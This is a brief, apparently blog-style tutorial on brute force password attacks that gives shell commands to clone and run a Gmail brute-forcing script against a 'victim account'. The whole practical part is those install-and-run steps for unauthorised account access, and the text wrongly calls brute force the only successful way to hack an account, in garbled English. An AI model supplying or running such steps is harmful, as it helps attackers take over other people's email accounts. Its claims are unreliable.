In brute force attack,script or program try the each and every combination of password probability to ack victim account.Brute force attack is the only successful method to hack account but this process will take long time depend upon the length of password.
$ apt install git
$ apt install python2
$ git clone https://github.com/bokxud/gmail-bruteforce.git
$ cd gmail-bruteforce
$ chmod +x gmail-brt.py
$ python2 gmail-brt.py